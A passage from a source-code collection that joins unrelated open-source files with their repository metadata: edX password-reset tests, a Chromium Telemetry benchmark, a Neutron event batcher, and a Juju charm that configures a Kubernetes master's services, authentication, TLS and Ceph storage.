patch("django.conf.settings.PLATFORM_NAME", platform_name): req = self.request_factory.post( '/password_reset/', {'email': self.user.email} ) req.get_host = Mock(return_value=domain_override) req.user = self.user password_reset(req) _, msg, _, _ = send_email.call_args[0] reset_msg = "you requested a password reset for your user account at {}" if domain_override: reset_msg = reset_msg.format(domain_override) else: reset_msg = reset_msg.format(settings.SITE_NAME) self.assertIn(reset_msg, msg) sign_off = "The {} Team".format(platform_name) self.assertIn(sign_off, msg) self.assert_event_emitted( SETTING_CHANGE_INITIATED, user_id=self.user.id, setting=u'password', old=None, new=None ) @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', "Test only valid in LMS") @patch("microsite_configuration.microsite.get_value", fake_site_name) @patch('django.core.mail.send_mail') def test_reset_password_email_microsite(self, send_email): """ Tests that the right url domain and platform name is included in the reset password email """ req = self.request_factory.post( '/password_reset/', {'email': self.user.email} ) req.get_host = Mock(return_value=None) req.user = self.user password_reset(req) _, msg, _, _ = send_email.call_args[0] reset_msg = "you requested a password reset for your user account at openedx.localhost" self.assertIn(reset_msg, msg) self.assert_event_emitted( SETTING_CHANGE_INITIATED, user_id=self.user.id, setting=u'password', old=None, new=None ) @patch('student.views.password_reset_confirm') def test_reset_password_bad_token(self, reset_confirm): """Tests bad token and uidb36 in password reset""" bad_reset_req = self.request_factory.get('/password_reset_confirm/NO-OP/') password_reset_confirm_wrapper(bad_reset_req, 'NO', 'OP') confirm_kwargs = reset_confirm.call_args[1] self.assertEquals(confirm_kwargs['uidb36'], 'NO') self.assertEquals(confirm_kwargs['token'], 'OP') self.user = User.objects.get(pk=self.user.pk) self.assertFalse(self.user.is_active) @patch('student.views.password_reset_confirm') def test_reset_password_good_token(self, reset_confirm): """Tests good token and uidb36 in password reset""" good_reset_req = self.request_factory.get('/password_reset_confirm/{0}-{1}/'.format(self.uidb36, self.token)) password_reset_confirm_wrapper(good_reset_req, self.uidb36, self.token) confirm_kwargs = reset_confirm.call_args[1] self.assertEquals(confirm_kwargs['uidb36'], self.uidb36) self.assertEquals(confirm_kwargs['token'], self.token) self.user = User.objects.get(pk=self.user.pk) self.assertTrue(self.user.is_active) @patch('student.views.password_reset_confirm') def test_reset_password_with_reused_password(self, reset_confirm): """Tests good token and uidb36 in password reset""" good_reset_req = self.request_factory.get('/password_reset_confirm/{0}-{1}/'.format(self.uidb36, self.token)) password_reset_confirm_wrapper(good_reset_req, self.uidb36, self.token) confirm_kwargs = reset_confirm.call_args[1] self.assertEquals(confirm_kwargs['uidb36'], self.uidb36) self.assertEquals(confirm_kwargs['token'], self.token) self.user = User.objects.get(pk=self.user.pk) self.assertTrue(self.user.is_active)
agpl-3.0
lihui7115/ChromiumGStreamerBackend
tools/perf/benchmarks/skpicture_printer.py
13
1709
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from core import perf_benchmark from telemetry import benchmark from telemetry.core import discover from telemetry import story from measurements import skpicture_printer def _MatchPageSetName(story_set_name, story_set_base_dir): story_sets = discover.DiscoverClasses(story_set_base_dir, story_set_base_dir, story.StorySet).values() for s in story_sets: if story_set_name == s.Name(): return s return None @benchmark.Disabled class SkpicturePrinter(perf_benchmark.PerfBenchmark): @classmethod def AddBenchmarkCommandLineArgs(cls, parser): parser.add_option('--page-set-name', action='store', type='string') parser.add_option('--page-set-base-dir', action='store', type='string') parser.add_option('-s', '--skp-outdir', help='Output directory for the SKP files') @classmethod def ProcessCommandLineArgs(cls, parser, args): if not args.page_set_name: parser.error('Please specify --page-set-name') if not args.page_set_base_dir: parser.error('Please specify --page-set-base-dir') if not args.skp_outdir: parser.error('Please specify --skp-outdir') @classmethod def Name(cls): return 'skpicture_printer' def CreatePageTest(self, options): return skpicture_printer.SkpicturePrinter(options.skp_outdir) def CreateStorySet(self, options): story_set_class = _MatchPageSetName(options.page_set_name, options.page_set_base_dir) return story_set_class()
bsd-3-clause
sebrandon1/neutron
neutron/notifiers/batch_notifier.py
56
2337
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import eventlet class BatchNotifier(object): def __init__(self, batch_interval, callback): self.pending_events = [] self._waiting_to_send = False self.callback = callback self.batch_interval = batch_interval def queue_event(self, event): """Called to queue sending an event with the next batch of events. Sending events individually, as they occur, has been problematic as it can result in a flood of sends. Previously, there was a loopingcall thread that would send batched events on a periodic interval. However, maintaining a persistent thread in the loopingcall was also problematic. This replaces the loopingcall with a mechanism that creates a short-lived thread on demand when the first event is queued. That thread will sleep once for the same batch_duration to allow other events to queue up in pending_events and then will send them when it wakes. If a thread is already alive and waiting, this call will simply queue the event and return leaving it up to the thread to send it. :param event: the event that occurred. """ if not event: return self.pending_events.append(event) if self._waiting_to_send: return self._waiting_to_send = True def last_out_sends(): eventlet.sleep(self.batch_interval) self._waiting_to_send = False self._notify() eventlet.spawn_n(last_out_sends) def _notify(self): if not self.pending_events: return batched_events = self.pending_events self.pending_events = [] self.callback(batched_events)
apache-2.0
pwittrock/reference-docs
vendor/k8s.io/kubernetes/cluster/juju/layers/kubernetes-master/reactive/kubernetes_master.py
21
37137
#!/usr/bin/env python # Copyright 2015 The Kubernetes Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import base64 import os import re import random import shutil import socket import string import json import ipaddress import charms.leadership from shlex import split from subprocess import check_call from subprocess import check_output from subprocess import CalledProcessError from charms import layer from charms.layer import snap from charms.reactive import hook from charms.reactive import remove_state from charms.reactive import set_state from charms.reactive import is_state from charms.reactive import when, when_any, when_not from charms.reactive.helpers import data_changed, any_file_changed from charms.kubernetes.common import get_version from charms.kubernetes.common import retry from charms.kubernetes.flagmanager import FlagManager from charmhelpers.core import hookenv from charmhelpers.core import host from charmhelpers.core import unitdata from charmhelpers.core.host import service_stop from charmhelpers.core.templating import render from charmhelpers.fetch import apt_install from charmhelpers.contrib.charmsupport import nrpe # Override the default nagios shortname regex to allow periods, which we # need because our bin names contain them (e.g. 'snap.foo.daemon'). The # default regex in charmhelpers doesn't allow periods, but nagios itself does. nrpe.Check.shortname_re = '[\.A-Za-z0-9-_]+$' os.environ['PATH'] += os.pathsep + os.path.join(os.sep, 'snap', 'bin') def service_cidr(): ''' Return the charm's service-cidr config ''' db = unitdata.kv() frozen_cidr = db.get('kubernetes-master.service-cidr') return frozen_cidr or hookenv.config('service-cidr') def freeze_service_cidr(): ''' Freeze the service CIDR. Once the apiserver has started, we can no longer safely change this value. ''' db = unitdata.kv() db.set('kubernetes-master.service-cidr', service_cidr()) @hook('upgrade-charm') def reset_states_for_delivery(): '''An upgrade charm event was triggered by Juju, react to that here.''' migrate_from_pre_snaps() install_snaps() set_state('reconfigure.authentication.setup') remove_state('authentication.setup') def rename_file_idempotent(source, destination): if os.path.isfile(source): os.rename(source, destination) def migrate_from_pre_snaps(): # remove old states remove_state('kubernetes.components.installed') remove_state('kubernetes.dashboard.available') remove_state('kube-dns.available') remove_state('kubernetes-master.app_version.set') # disable old services services = ['kube-apiserver', 'kube-controller-manager', 'kube-scheduler'] for service in services: hookenv.log('Stopping {0} service.'.format(service)) host.service_stop(service) # rename auth files os.makedirs('/root/cdk', exist_ok=True) rename_file_idempotent('/etc/kubernetes/serviceaccount.key', '/root/cdk/serviceaccount.key') rename_file_idempotent('/srv/kubernetes/basic_auth.csv', '/root/cdk/basic_auth.csv') rename_file_idempotent('/srv/kubernetes/known_tokens.csv', '/root/cdk/known_tokens.csv') # cleanup old files files = [ "/lib/systemd/system/kube-apiserver.service", "/lib/systemd/system/kube-controller-manager.service", "/lib/systemd/system/kube-scheduler.service", "/etc/default/kube-defaults", "/etc/default/kube-apiserver.defaults", "/etc/default/kube-controller-manager.defaults", "/etc/default/kube-scheduler.defaults", "/srv/kubernetes", "/home/ubuntu/kubectl", "/usr/local/bin/kubectl", "/usr/local/bin/kube-apiserver", "/usr/local/bin/kube-controller-manager", "/usr/local/bin/kube-scheduler", "/etc/kubernetes" ] for file in files: if os.path.isdir(file): hookenv.log("Removing directory: " + file) shutil.rmtree(file) elif os.path.isfile(file): hookenv.log("Removing file: " + file) os.remove(file) # clear the flag managers FlagManager('kube-apiserver').destroy_all() FlagManager('kube-controller-manager').destroy_all() FlagManager('kube-scheduler').destroy_all() def install_snaps(): channel = hookenv.config('channel') hookenv.status_set('maintenance', 'Installing kubectl snap') snap.install('kubectl', channel=channel, classic=True) hookenv.status_set('maintenance', 'Installing kube-apiserver snap') snap.install('kube-apiserver', channel=channel) hookenv.status_set('maintenance', 'Installing kube-controller-manager snap') snap.install('kube-controller-manager', channel=channel) hookenv.status_set('maintenance', 'Installing kube-scheduler snap') snap.install('kube-scheduler', channel=channel) hookenv.status_set('maintenance', 'Installing cdk-addons snap') snap.install('cdk-addons', channel=channel) set_state('kubernetes-master.snaps.installed') remove_state('kubernetes-master.components.started') @when('config.changed.channel') def channel_changed(): install_snaps() @when('config.changed.client_password', 'leadership.is_leader') def password_changed(): """Handle password change via the charms config.""" password = hookenv.config('client_password') if password == "" and is_state('client.password.initialised'): # password_changed is called during an upgrade. Nothing to do. return elif password == "": # Password not initialised password = token_generator() setup_basic_auth(password, "admin", "admin") set_state('reconfigure.authentication.setup') remove_state('authentication.setup') set_state('client.password.initialised') @when('cni.connected') @when_not('cni.configured') def configure_cni(cni): ''' Set master configuration on the CNI relation. This lets the CNI subordinate know that we're the master so it can respond accordingly. ''' cni.set_config(is_master=True, kubeconfig_path='') @when('leadership.is_leader') @when_not('authentication.setup') def setup_leader_authentication(): '''Setup basic authentication and token access for the cluster.''' api_opts = FlagManager('kube-apiserver') controller_opts = FlagManager('kube-controller-manager') service_key = '/root/cdk/serviceaccount.key' basic_auth = '/root/cdk/basic_auth.csv' known_tokens = '/root/cdk/known_tokens.csv' api_opts.add('basic-auth-file', basic_auth) api_opts.add('token-auth-file', known_tokens) hookenv.status_set('maintenance', 'Rendering authentication templates.') keys = [service_key, basic_auth, known_tokens] # Try first to fetch data from an old leadership broadcast. if not get_keys_from_leader(keys) \ or is_state('reconfigure.authentication.setup'): last_pass = get_password('basic_auth.csv', 'admin') setup_basic_auth(last_pass, 'admin', 'admin') if not os.path.isfile(known_tokens): setup_tokens(None, 'admin', 'admin') setup_tokens(None, 'kubelet', 'kubelet') setup_tokens(None, 'kube_proxy', 'kube_proxy') # Generate the default service account token key os.makedirs('/root/cdk', exist_ok=True) if not os.path.isfile(service_key): cmd = ['openssl', 'genrsa', '-out', service_key, '2048'] check_call(cmd) remove_state('reconfigure.authentication.setup') api_opts.add('service-account-key-file', service_key) controller_opts.add('service-account-private-key-file', service_key) # read service account key for syndication leader_data = {} for f in [known_tokens, basic_auth, service_key]: with open(f, 'r') as fp: leader_data[f] = fp.read() # this is slightly opaque, but we are sending file contents under its file # path as a key. # eg: # {'/root/cdk/serviceaccount.key': 'RSA:2471731...'} charms.leadership.leader_set(leader_data) remove_state('kubernetes-master.components.started') set_state('authentication.setup') @when_not('leadership.is_leader') def setup_non_leader_authentication(): service_key = '/root/cdk/serviceaccount.key' basic_auth = '/root/cdk/basic_auth.csv' known_tokens = '/root/cdk/known_tokens.csv' keys = [service_key, basic_auth, known_tokens] # The source of truth for non-leaders is the leader. # Therefore we overwrite_local with whatever the leader has. if not get_keys_from_leader(keys, overwrite_local=True): # the keys were not retrieved. Non-leaders have to retry. return if not any_file_changed(keys) and is_state('authentication.setup'): # No change detected and we have already setup the authentication return hookenv.status_set('maintenance', 'Rendering authentication templates.') api_opts = FlagManager('kube-apiserver') api_opts.add('basic-auth-file', basic_auth) api_opts.add('token-auth-file', known_tokens) api_opts.add('service-account-key-file', service_key) controller_opts = FlagManager('kube-controller-manager') controller_opts.add('service-account-private-key-file', service_key) remove_state('kubernetes-master.components.started') set_state('authentication.setup') def get_keys_from_leader(keys, overwrite_local=False): """ Gets the broadcasted keys from the leader and stores them in the corresponding files. Args: keys: list of keys. Keys are actually files on the FS. Returns: True if all key were fetched, False if not. """ # This races with other codepaths, and seems to require being created first # This block may be extracted later, but for now seems to work as intended os.makedirs('/root/cdk', exist_ok=True) for k in keys: # If the path does not exist, assume we need it if not os.path.exists(k) or overwrite_local: # Fetch data from leadership broadcast contents = charms.leadership.leader_get(k) # Default to logging the warning and wait for leader data to be set if contents is None: msg = "Waiting on leaders crypto keys." hookenv.status_set('waiting', msg) hookenv.log('Missing content for file {}'.format(k)) return False # Write out the file and move on to the next item with open(k, 'w+') as fp: fp.write(contents) return True @when('kubernetes-master.snaps.installed') def set_app_version(): ''' Declare the application version to juju ''' version = check_output(['kube-apiserver', '--version']) hookenv.application_version_set(version.split(b' v')[-1].rstrip()) @when('cdk-addons.configured', 'kube-api-endpoint.available', 'kube-control.connected') def idle_status(kube_api, kube_control): ''' Signal at the end of the run that we are running. ''' if not all_kube_system_pods_running(): hookenv.status_set('waiting', 'Waiting for kube-system pods to start') elif hookenv.config('service-cidr') != service_cidr(): msg = 'WARN: cannot change service-cidr, still using ' + service_cidr() hookenv.status_set('active', msg) else: # All services should be up and running at this point. Double-check... failing_services = master_services_down() if len(failing_services) == 0: hookenv.status_set('active', 'Kubernetes master running.') else: msg = 'Stopped services: {}'.format(','.join(failing_services)) hookenv.status_set('blocked', msg) def master_services_down(): """Ensure master services are up and running. Return: list of failing services""" services = ['kube-apiserver', 'kube-controller-manager', 'kube-scheduler'] failing_services = [] for service in services: daemon = 'snap.{}.daemon'.format(service) if not host.service_running(daemon): failing_services.append(service) return failing_services @when('etcd.available', 'tls_client.server.certificate.saved', 'authentication.setup') @when_not('kubernetes-master.components.started') def start_master(etcd): '''Run the Kubernetes master components.''' hookenv.status_set('maintenance', 'Configuring the Kubernetes master services.') freeze_service_cidr() if not etcd.get_connection_string(): # etcd is not returning a connection string. This hapens when # the master unit disconnects from etcd and is ready to terminate. # No point in trying to start master services and fail. Just return. return handle_etcd_relation(etcd) configure_master_services() hookenv.status_set('maintenance', 'Starting the Kubernetes master services.') services = ['kube-apiserver', 'kube-controller-manager', 'kube-scheduler'] for service in services: host.service_restart('snap.%s.daemon' % service) hookenv.open_port(6443) set_state('kubernetes-master.components.started') @when('etcd.available') def etcd_data_change(etcd): ''' Etcd scale events block master reconfiguration due to the kubernetes-master.components.started state. We need a way to handle these events consistenly only when the number of etcd units has actually changed ''' # key off of the connection string connection_string = etcd.get_connection_string() # If the connection string changes, remove the started state to trigger # handling of the master components if data_changed('etcd-connect', connection_string): remove_state('kubernetes-master.components.started') @when('kube-control.connected') @when('cdk-addons.configured') def send_cluster_dns_detail(kube_control): ''' Send cluster DNS info ''' # Note that the DNS server doesn't necessarily exist at this point. We know # where we're going to put it, though, so let's send the info anyway. dns_ip = get_dns_ip() kube_control.set_dns(53, hookenv.config('dns_domain'), dns_ip) @when('kube-control.auth.requested') @when('authentication.setup') @when('leadership.is_leader') def send_tokens(kube_control): """Send the tokens to the workers.""" kubelet_token = get_token('kubelet') proxy_token = get_token('kube_proxy') admin_token = get_token('admin') # Send the data requests = kube_control.auth_user() for request in requests: kube_control.sign_auth_request(request[0], kubelet_token, proxy_token, admin_token) @when_not('kube-control.connected') def missing_kube_control(): """Inform the operator master is waiting for a relation to workers. If deploying via bundle this won't happen, but if operator is upgrading a a charm in a deployment that pre-dates the kube-control relation, it'll be missing. """ hookenv.status_set('blocked', 'Waiting for workers.') @when('kube-api-endpoint.available') def push_service_data(kube_api): ''' Send configuration to the load balancer, and close access to the public interface ''' kube_api.configure(port=6443) @when('certificates.available') def send_data(tls): '''Send the data that is required to create a server certificate for this server.''' # Use the public ip of this unit as the Common Name for the certificate. common_name = hookenv.unit_public_ip() # Get the SDN gateway based on the cidr address. kubernetes_service_ip = get_kubernetes_service_ip() domain = hookenv.config('dns_domain') # Create SANs that the tls layer will add to the server cert. sans = [ hookenv.unit_public_ip(), hookenv.unit_private_ip(), socket.gethostname(), kubernetes_service_ip, 'kubernetes', 'kubernetes.{0}'.format(domain), 'kubernetes.default', 'kubernetes.default.svc', 'kubernetes.default.svc.{0}'.format(domain) ] # Create a path safe name by removing path characters from the unit name. certificate_name = hookenv.local_unit().replace('/', '_') # Request a server cert with this information. tls.request_server_cert(common_name, sans, certificate_name) @when('kubernetes-master.components.started') def configure_cdk_addons(): ''' Configure CDK addons ''' remove_state('cdk-addons.configured') dbEnabled = str(hookenv.config('enable-dashboard-addons')).lower() args = [ 'arch=' + arch(), 'dns-ip=' + get_dns_ip(), 'dns-domain=' + hookenv.config('dns_domain'), 'enable-dashboard=' + dbEnabled ] check_call(['snap', 'set', 'cdk-addons'] + args) if not addons_ready(): hookenv.status_set('waiting', 'Waiting to retry addon deployment') remove_state('cdk-addons.configured') return set_state('cdk-addons.configured') @retry(times=3, delay_secs=20) def addons_ready(): """ Test if the add ons got installed Returns: True is the addons got applied """ try: check_call(['cdk-addons.apply']) return True except CalledProcessError: hookenv.log("Addons are not ready yet.") return False @when('loadbalancer.available', 'certificates.ca.available', 'certificates.client.cert.available', 'authentication.setup') def loadbalancer_kubeconfig(loadbalancer, ca, client): # Get the potential list of loadbalancers from the relation object. hosts = loadbalancer.get_addresses_ports() # Get the public address of loadbalancers so users can access the cluster. address = hosts[0].get('public-address') # Get the port of the loadbalancer so users can access the cluster. port = hosts[0].get('port') server = 'https://{0}:{1}'.format(address, port) build_kubeconfig(server) @when('certificates.ca.available', 'certificates.client.cert.available', 'authentication.setup') @when_not('loadbalancer.available') def create_self_config(ca, client): '''Create a kubernetes configuration for the master unit.''' server = 'https://{0}:{1}'.format(hookenv.unit_get('public-address'), 6443) build_kubeconfig(server) @when('ceph-storage.available') def ceph_state_control(ceph_admin): ''' Determine if we should remove the state that controls the re-render and execution of the ceph-relation-changed event because there are changes in the relationship data, and we should re-render any configs, keys, and/or service pre-reqs ''' ceph_relation_data = { 'mon_hosts': ceph_admin.mon_hosts(), 'fsid': ceph_admin.fsid(), 'auth_supported': ceph_admin.auth(), 'hostname': socket.gethostname(), 'key': ceph_admin.key() } # Re-execute the rendering if the data has changed. if data_changed('ceph-config', ceph_relation_data): remove_state('ceph-storage.configured') @when('ceph-storage.available') @when_not('ceph-storage.configured') def ceph_storage(ceph_admin): '''Ceph on kubernetes will require a few things - namely a ceph configuration, and the ceph secret key file used for authentication. This method will install the client package, and render the requisit files in order to consume the ceph-storage relation.''' ceph_context = { 'mon_hosts': ceph_admin.mon_hosts(), 'fsid': ceph_admin.fsid(), 'auth_supported': ceph_admin.auth(), 'use_syslog': "true", 'ceph_public_network': '', 'ceph_cluster_network': '', 'loglevel': 1, 'hostname': socket.gethostname(), } # Install the ceph common utilities. apt_install(['ceph-common'], fatal=True) etc_ceph_directory = '/etc/ceph' if not os.path.isdir(etc_ceph_directory): os.makedirs(etc_ceph_directory) charm_ceph_conf = os.path.join(etc_ceph_directory, 'ceph.conf') # Render the ceph configuration from the ceph conf template render('ceph.conf', charm_ceph_conf, ceph_context) # The key can rotate independently of other ceph config, so validate it admin_key = os.path.join(etc_ceph_directory, 'ceph.client.admin.keyring') try: with open(admin_key, 'w') as key_file: key_file.write("[client.admin]\n\tkey = {}\n".format( ceph_admin.key())) except IOError as err: hookenv.log("IOError writing admin.keyring: {}".format(err)) # Enlist the ceph-admin key as a kubernetes secret if ceph_admin.key(): encoded_key = base64.b64encode(ceph_admin.key().encode('utf-8')) else: # We didn't have a key, and cannot proceed. Do not set state and # allow this method to re-execute return context = {'secret': encoded_key.decode('ascii')} render('ceph-secret.yaml', '/tmp/ceph-secret.yaml', context) try: # At first glance this is deceptive. The apply stanza will create if # it doesn't exist, otherwise it will update the entry, ensuring our # ceph-secret is always reflective of what we have in /etc/ceph # assuming we have invoked this anytime that file would change. cmd = ['kubectl', 'apply', '-f', '/tmp/ceph-secret.yaml'] check_call(cmd) os.remove('/tmp/ceph-secret.yaml') except: # the enlistment in kubernetes failed, return and prepare for re-exec return # when complete, set a state relating to configuration of the storage # backend that will allow other modules to hook into this and verify we # have performed the necessary pre-req steps to interface with a ceph # deployment. set_state('ceph-storage.configured') @when('nrpe-external-master.available') @when_not('nrpe-external-master.initial-config') def initial_nrpe_config(nagios=None): set_state('nrpe-external-master.initial-config') update_nrpe_config(nagios) @when('kubernetes-master.components.started') @when('nrpe-external-master.available') @when_any('config.changed.nagios_context', 'config.changed.nagios_servicegroups') def update_nrpe_config(unused=None): services = ( 'snap.kube-apiserver.daemon', 'snap.kube-controller-manager.daemon', 'snap.kube-scheduler.daemon' ) hostname = nrpe.get_nagios_hostname() current_unit = nrpe.get_nagios_unit_name() nrpe_setup = nrpe.NRPE(hostname=hostname) nrpe.add_init_service_checks(nrpe_setup, services, current_unit) nrpe_setup.write() @when_not('nrpe-external-master.available') @when('nrpe-external-master.initial-config') def remove_nrpe_config(nagios=None): remove_state('nrpe-external-master.initial-config') # List of systemd services for which the checks will be removed services = ( 'snap.kube-apiserver.daemon', 'snap.kube-controller-manager.daemon', 'snap.kube-scheduler.daemon' ) # The current nrpe-external-master interface doesn't handle a lot of logic, # use the charm-helpers code for now. hostname = nrpe.get_nagios_hostname() nrpe_setup = nrpe.NRPE(hostname=hostname) for service in services: nrpe_setup.remove_check(shortname=service) def is_privileged(): """Return boolean indicating whether or not to set allow-privileged=true. """ privileged = hookenv.config('allow-privileged') if privileged == 'auto': return is_state('kubernetes-master.gpu.enabled') else: return privileged == 'true' @when('config.changed.allow-privileged') @when('kubernetes-master.components.started') def on_config_allow_privileged_change(): """React to changed 'allow-privileged' config value. """ remove_state('kubernetes-master.components.started') remove_state('config.changed.allow-privileged') @when('kube-control.gpu.available') @when('kubernetes-master.components.started') @when_not('kubernetes-master.gpu.enabled') def on_gpu_available(kube_control): """The remote side (kubernetes-worker) is gpu-enabled. We need to run in privileged mode. """ config = hookenv.config() if config['allow-privileged'] == "false": hookenv.status_set( 'active', 'GPUs available. Set allow-privileged="auto" to enable.' ) return remove_state('kubernetes-master.components.started') set_state('kubernetes-master.gpu.enabled') @when('kubernetes-master.gpu.enabled') @when_not('kubernetes-master.privileged') def disable_gpu_mode(): """We were in gpu mode, but the operator has set allow-privileged="false", so we can't run in gpu mode anymore. """ remove_state('kubernetes-master.gpu.enabled') @hook('stop') def shutdown(): """ Stop the kubernetes master services """ service_stop('snap.kube-apiserver.daemon') service_stop('snap.kube-controller-manager.daemon') service_stop('snap.kube-scheduler.daemon') def arch(): '''Return the package architecture as a string. Raise an exception if the architecture is not supported by kubernetes.''' # Get the package architecture for this system. architecture = check_output(['dpkg', '--print-architecture']).rstrip() # Convert the binary result into a string. architecture = architecture.decode('utf-8') return architecture def build_kubeconfig(server): '''Gather the relevant data for Kubernetes configuration objects and create a config object with that information.''' # Get the options from the tls-client layer. layer_options = layer.options('tls-client') # Get all the paths to the tls information required for kubeconfig. ca = layer_options.get('ca_certificate_path') ca_exists = ca and os.path.isfile(ca) client_pass = get_password('basic_auth.csv', 'admin') # Do we have everything we need? if ca_exists and client_pass: # Create an absolute path for the kubeconfig file. kubeconfig_path = os.path.join(os.sep, 'home', 'ubuntu', 'config') # Create the kubeconfig on this system so users can access the cluster. create_kubeconfig(kubeconfig_path, server, ca, user='admin', password=client_pass) # Make the config file readable by the ubuntu users so juju scp works. cmd = ['chown', 'ubuntu:ubuntu', kubeconfig_path] check_call(cmd) def create_kubeconfig(kubeconfig, server, ca, key=None, certificate=None, user='ubuntu', context='juju-context', cluster='juju-cluster', password=None, token=None): '''Create a configuration for Kubernetes based on path using the supplied arguments for values of the Kubernetes server, CA, key, certificate, user context and cluster.''' if not key and not certificate and not password and not token: raise ValueError('Missing authentication mechanism.') # token and password are mutually exclusive. Error early if both are # present. The developer has requested an impossible situation. # see: kubectl config set-credentials --help if token and password: raise ValueError('Token and Password are mutually exclusive.') # Create the config file with the address of the master server. cmd = 'kubectl config --kubeconfig={0} set-cluster {1} ' \ '--server={2} --certificate-authority={3} --embed-certs=true' check_call(split(cmd.format(kubeconfig, cluster, server, ca))) # Delete old users cmd = 'kubectl config --kubeconfig={0} unset users' check_call(split(cmd.format(kubeconfig))) # Create the credentials using the client flags. cmd = 'kubectl config --kubeconfig={0} ' \ 'set-credentials {1} '.format(kubeconfig, user) if key and certificate: cmd = '{0} --client-key={1} --client-certificate={2} '\ '--embed-certs=true'.format(cmd, key, certificate) if password: cmd = "{0} --username={1} --password={2}".format(cmd, user, password) # This is mutually exclusive from password. They will not work together. if token: cmd = "{0} --token={1}".format(cmd, token) check_call(split(cmd)) # Create a default context with the cluster. cmd = 'kubectl config --kubeconfig={0} set-context {1} ' \ '--cluster={2} --user={3}' check_call(split(cmd.format(kubeconfig, context, cluster, user))) # Make the config use this new context. cmd = 'kubectl config --kubeconfig={0} use-context {1}' check_call(split(cmd.format(kubeconfig, context))) def get_dns_ip(): '''Get an IP address for the DNS server on the provided cidr.''' interface = ipaddress.IPv4Interface(service_cidr()) # Add .10 at the end of the network ip = interface.network.network_address + 10 return ip.exploded def get_kubernetes_service_ip(): '''Get the IP address for the kubernetes service based on the cidr.''' interface = ipaddress.IPv4Interface(service_cidr()) # Add .1 at the end of the network ip = interface.network.network_address + 1 return ip.exploded def handle_etcd_relation(reldata): ''' Save the client credentials and set appropriate daemon flags when etcd declares itself as available''' connection_string = reldata.get_connection_string() # Define where the etcd tls files will be kept. etcd_dir = '/root/cdk/etcd' # Create paths to the etcd client ca, key, and cert file locations. ca = os.path.join(etcd_dir, 'client-ca.pem') key = os.path.join(etcd_dir, 'client-key.pem') cert = os.path.join(etcd_dir, 'client-cert.pem') # Save the client credentials (in relation data) to the paths provided. reldata.save_client_credentials(key, cert, ca) api_opts = FlagManager('kube-apiserver') # Never use stale data, always prefer whats coming in during context # building. if its stale, its because whats in unitdata is stale data = api_opts.data if data.get('etcd-servers-strict') or data.get('etcd-servers'): api_opts.destroy('etcd-cafile') api_opts.destroy('etcd-keyfile') api_opts.destroy('etcd-certfile') api_opts.destroy('etcd-servers', strict=True) api_opts.destroy('etcd-servers') # Set the apiserver flags in the options manager api_opts.add('etcd-cafile', ca) api_opts.add('etcd-keyfile', key) api_opts.add('etcd-certfile', cert) api_opts.add('etcd-servers', connection_string, strict=True) def configure_master_services(): ''' Add remaining flags for the master services and configure snaps to use them ''' api_opts = FlagManager('kube-apiserver') controller_opts = FlagManager('kube-controller-manager') scheduler_opts = FlagManager('kube-scheduler') scheduler_opts.add('v', '2') # Get the tls paths from the layer data. layer_options = layer.options('tls-client') ca_cert_path = layer_options.get('ca_certificate_path') client_cert_path = layer_options.get('client_certificate_path') client_key_path = layer_options.get('client_key_path') server_cert_path = layer_options.get('server_certificate_path') server_key_path = layer_options.get('server_key_path') if is_privileged(): api_opts.add('allow-privileged', 'true', strict=True) set_state('kubernetes-master.privileged') else: api_opts.add('allow-privileged', 'false', strict=True) remove_state('kubernetes-master.privileged') # Handle static options for now api_opts.add('service-cluster-ip-range', service_cidr()) api_opts.add('min-request-timeout', '300') api_opts.add('v', '4') api_opts.add('tls-cert-file', server_cert_path) api_opts.add('tls-private-key-file', server_key_path) api_opts.add('kubelet-certificate-authority', ca_cert_path) api_opts.add('kubelet-client-certificate', client_cert_path) api_opts.add('kubelet-client-key', client_key_path) api_opts.add('logtostderr', 'true') api_opts.add('insecure-bind-address', '127.0.0.1') api_opts.add('insecure-port', '8080') api_opts.add('storage-backend', 'etcd2') # FIXME: add etcd3 support admission_control = [ 'Initializers', 'NamespaceLifecycle', 'LimitRanger', 'ServiceAccount', 'ResourceQuota', 'DefaultTolerationSeconds' ] if get_version('kube-apiserver') < (1, 6): hookenv.log('Removing DefaultTolerationSeconds from admission-control') admission_control.remove('DefaultTolerationSeconds') if get_version('kube-apiserver') < (1, 7): hookenv.log('Removing Initializers from admission-control') admission_control.remove('Initializers') api_opts.add('admission-control', ','.join(admission_control), strict=True) # Default to 3 minute resync. TODO: Make this configureable? controller_opts.add('min-resync-period', '3m') controller_opts.add('v', '2') controller_opts.add('root-ca-file', ca_cert_path) controller_opts.add('logtostderr', 'true') controller_opts.add('master', 'http://127.0.0.1:8080') scheduler_opts.add('v', '2') scheduler_opts.add('logtostderr', 'true') scheduler_opts.add('master', 'http://127.0.0.1:8080') cmd = ['snap', 'set', 'kube-apiserver'] + api_opts.to_s().split(' ') check_call(cmd) cmd = ( ['snap', 'set', 'kube-controller-manager'] + controller_opts.to_s().split(' ') ) check_call(cmd) cmd = ['snap', 'set', 'kube-scheduler'] + scheduler_opts.to_s().split(' ') check_call(cmd) def setup_basic_auth(password=None, username='admin', uid='admin'): '''Create the htacces file and the tokens.''' root_cdk = '/root/cdk' if not os.path.isdir(root_cdk): os.makedirs(root_cdk) htaccess = os.path.join(root_cdk, 'basic_auth.csv') if not password: password = token_generator() with open(htaccess, 'w') as stream: stream.write('{0},{1},{2}'.format(password, username, uid)) def setup_tokens(token, username, user): '''Create a token file for kubernetes authentication.''' root_cdk = '/root/cdk' if not os.path.isdir(root_cdk): os.makedirs(root_cdk) known_tokens = os.path.join(root_cdk, 'known_tokens.csv') if not token: token = token_generator() with open(known_tokens, 'a') as stream: stream.write('{0},{1},{2}\n'.format(token, username, user)) def get_password(csv_fname, user): '''Get the password of user within the csv file provided.''' root_cdk = '/root/cdk' tokens_fname = 